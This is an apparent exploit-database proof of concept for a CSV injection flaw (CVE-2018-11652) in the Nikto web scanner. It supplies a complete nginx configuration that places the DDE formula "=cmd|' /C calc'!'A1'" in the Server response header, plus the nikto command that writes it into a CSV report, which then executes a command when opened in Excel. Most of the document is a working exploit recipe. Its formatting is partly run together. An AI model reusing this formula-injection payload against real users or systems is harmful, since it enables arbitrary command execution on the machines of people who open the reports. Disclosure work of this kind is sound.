# Exploit Title: Nikto 2.1.6 - CSV Injection# Google Dork: N/A# Date: 2018-06-01 # Exploit Author: Adam Greenhill# Vendor Homepage: https://cirt.net/Nikto2# Software Link: https://github.com/sullo/nikto# Affected Version: 2.1.6, 2.1.5# Category: Applications# Tested on: Kali Linux 4.14 x64# CVE : CVE-2018-11652# Technical Description:#CSV Injection vulnerability in Nikto 2.1.6 and earlier allows remote attackers # to inject arbitrary OS commands via the Server field in an HTTP response header, # which is directly injected into a CSV report.# PoC# Install nginx and nginx-extras: apt-get install -y nginx nginx-extras# Configure the nginx server as follows by editing the /etc/nginx/nginx.conf file:
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;# multi_accept on;}
http {
server_tokens off;# removed pound sign
more_set_headers "Server: =cmd|' /C calc'!'A1'";
server {
listen 80;
server_name localhost;
location /hello {return200"hello world";}}}# Restart the server: service nginx restart# Scan the nginx server with Nikto configured to output the results to a CSV file:
nikto -h<nginx address>:80 -o vuln.csv
# Open the resulting CSV file in Microsoft Excel and observe that CMD is attempting # to execute